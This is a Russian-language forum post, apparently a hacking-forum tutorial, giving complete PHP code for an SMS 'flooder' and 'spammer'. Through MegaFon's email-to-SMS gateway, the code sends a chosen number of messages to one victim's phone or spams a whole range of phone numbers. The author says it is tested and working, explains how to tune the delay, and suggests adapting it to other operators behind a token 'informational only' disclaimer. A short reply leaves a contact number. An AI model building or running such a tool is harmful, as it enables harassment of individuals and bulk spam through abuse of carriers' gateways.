Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor


Пишем Sms флудер и спамер


  • Авторизуйтесь для ответа в теме
В теме одно сообщение

#1
ComitaSEO

ComitaSEO

    Мегабайт

  • Members
  • PipPipPip
  • 266 сообщений
Пишем Sms флудер и спамер

Всем привет. Это моя первая статья на ачате, и написать я её решил про SMS флуд и спам. Поискав на форуме, и найдя или нерабочие линки или нерабочие скрипты я решил сам накатать флудер. Жертвой стал российский МЕГАФОН.Возьмём его как пример.

ФЛУД

Для начала разберёмся, что такое флудер. В моём понимании флудер - это программа или скрипт, которая(ый) отправляет заданному адресату некую информацию в некотором количестве(часто - в очень большом).

И так, что нам нужно для написания такого флудера? Да почти ничего:
хостинг, с поддержкой PHP
мозг + прямые руки
умение юзать гугль
Для флуда мы будем использовать SMS шлюз данного оператора.
SMS-шлюз  интерфейс, который позволяет отправлять и получать смс-сообщения без использования мобильного телефона. SMS-сообщения преобразуются в сообщения электронной почты, HTTP-запросы и обратно. Сообщение, отправляемое через подобный шлюз, может быть бесплатным для отправителя; однако возможны технические ограничения, такие, как ограчинение числа отправляемых с одного компьютера сообщений в сутки.

Как понятно из вышеперечисленного продвинутые программеры ничего нового для себя не узнают.
Итак, вы выбрали хостинг, со всем разобрались...
Создаём страницу index.php следующего содержания:
PHP код:
<?php 
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>'; 
echo '<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> 
<title>Megafon flooder from Inlanger</title> 
<style type="text/css"> 
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 } 
a:link { text-decoration: none; color : #000000} 
a:active { text-decoration: none; color : #000000 } 
a:visited { text-decoration: none; color : #000000} 
a:hover { text-decoration: none; font-size: 9px; color : #404040 } 
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;} 
.a {background-color: orange;  text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;} 
.v {background-color: orange;  text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;} 
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'; 
echo"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>"; 
echo"</div><div class=\"v\"> 
<form action=\"sms.php\" method=\"post\"> 
Номер:<br /> 
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br /> 
Текст сообщения:<br /> 
<input name=\"msg\" /><br /> 
Количество:<br /> 
<input name=\"kol\" /><br /> 
Задержка в секундах:<br /> 
<input name=\"zad\" /><br /> 
<input type=\"submit\" value=\"Поехали...\"> 
</form> 
<br/><br/> 

<br/></div></body></html>"; 
?>

Как понятно из кода, это будет страница с формой для отправки, ссылающейся на наш скрипт, который будет называться sms.php:
PHP код:
<?php 
$from="любой почтовый@ящик"; 
$to=$_POST['to'].'@sms.mgsm.ru'; 
$msg=$_POST['msg']; 
for($i = 0; $i < $kol; $i++) 
{ 
mail("$to", "", "$msg", "From: $from"); 
sleep($zad); 
} 
print" 
<html> 
<body> 
<p align=\"center\"> 
Your $kol SMS:<br><b> 
$msg 
</b> 
has been sent to $to 
<br></p> 
		 <div align=right>Inlanger</div> 
</body> 
</html> "; 
?>

Начинаем разбирать код.
Вначале скрипта мы присваиваем переменные.
$from - любой почтовый ящик, от которого будут идти сообщения.
$to - адресат, то есть тот, кого мы бум флудить. Значение переменной берётся с формы index.php и слаживается с @sms.mgsm.ru. Что же такое, этот @sms.mgsm.ru? Это SMS шлюз оператора МЕГФОН.
$msg - переменная, в которой содержится текст, который будет посылаться.
Далее идёт цикл, задача которого и есть отправка нужного количества сообщением с паузой sleep.
Функция mail как раз отвечает за переслку почты на шлюз.

Теперь о функции sleep. Зачем она нужна?
Если мы её не впишем, то сервер не среагирует на нужное количество SMS и вышлет их в количестве 1-2 штук. Вот для того, чтобы сервер успевал реагировать и нужна эта функция. В скобках пишется количество секунд задержки. Эта цифра подбираемся методом перебора различных варинтов. Её значение может зависеть от загруженности шлюза и скорости вашего интернета. Так что тут экспериментируйте. Скрипт проверялся с параметром 7.

Проверяем работу скрипта. Заходим на нашу форму, вводим нужные данные и жмём кнопку...
Теперь стоит учесть, что скрипт выполняется не сразу, а постепенно, ожидая выставленную вами паузу после отпраки каждого ообщения.

СПАМ

Что такое спам? Я понимаю спам как массовую рассылку какой-то информации разным людям в разных целях. Что нам нужно для организации спама
всё, что было перечисленно для флудера
Нужно немного переделать форму отпраки. Приведу только фрагмент:
PHP код:
<form action="sms.php\" method=\"post\"> 
Номер:<br /> 
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br /> 
Текст сообщения:<br /> 
<input name=\"msg\" /><br /> 
Диапозон номеров:<br /> 
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br /> 
Задержка в секундах:<br /> 
<input name=\"zad\" /><br /> 
<input type=\"submit\" value=\"Поехали...\"> 
</form>

И немного модифицированный код sms.php:

PHP код:
<?php 
$from="любой почтовый@ящик"; 
$to=$i.'@sms.mgsm.ru'; 
$msg=$_POST['msg']; 
for($i = $diapstart; $i <= $diapfinish; $i++) 
{ 
mail("$to", "", "$msg", "From: $from"); 
sleep($zad); 
} 

 ...


Думаю, тут всё понятно. Мы двигаемся по заданному диапозону номеров и отсылаем им SMS с заданным интервалом. У данного метода:
[+] работает без базы. на лицо экономия средств и трафика
[+] в отличие от базы - попадаете и в новичков сети, которых в базах(платных и бесплатных) ещё нет
[-] не все отправленые SMS будут доходить по той причине, что таких номеров может не существовать. Но можно подбирать такие диапозоны, чтобы была максимальная вероятность доставки SMS.

Что сказать в заключении...
Данный материал не призывает вас к действию и имеет ознакомительный характер. Автор статьи я, и при копипасте ссылка сюда обязательна.
При небольшом желании и должном умении скрипт модифицируется в спамера или подстраивается под любого другого оператора, с работающим SMS шлюзом.Вот для поиска шлюзов нам и надо было умение гуглить. Для ленивых - большой список шлюзов, и ещё больше . Но это, может быть, будет следующая статья.

P.S. Флудер на днях проверлся. Всё прекрасно работает. Если не работает, тут есть несколько вариантов. Один - кривые руки. Второй - ваш хостинг не держит функцию mail. Третий - оператор изменил шлюз или шлюз перегружен.

P.P.S. Тут будет список операторов, на котором флудер/спамер работает
МЕГФОН
МОТИВ(Екатеринбург)

#2
mmaig

mmaig

    Бит

  • Members
  • 1 сообщений
пожалуйста, свяжись со мной. Очень тебя прошу.   250-459-035


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных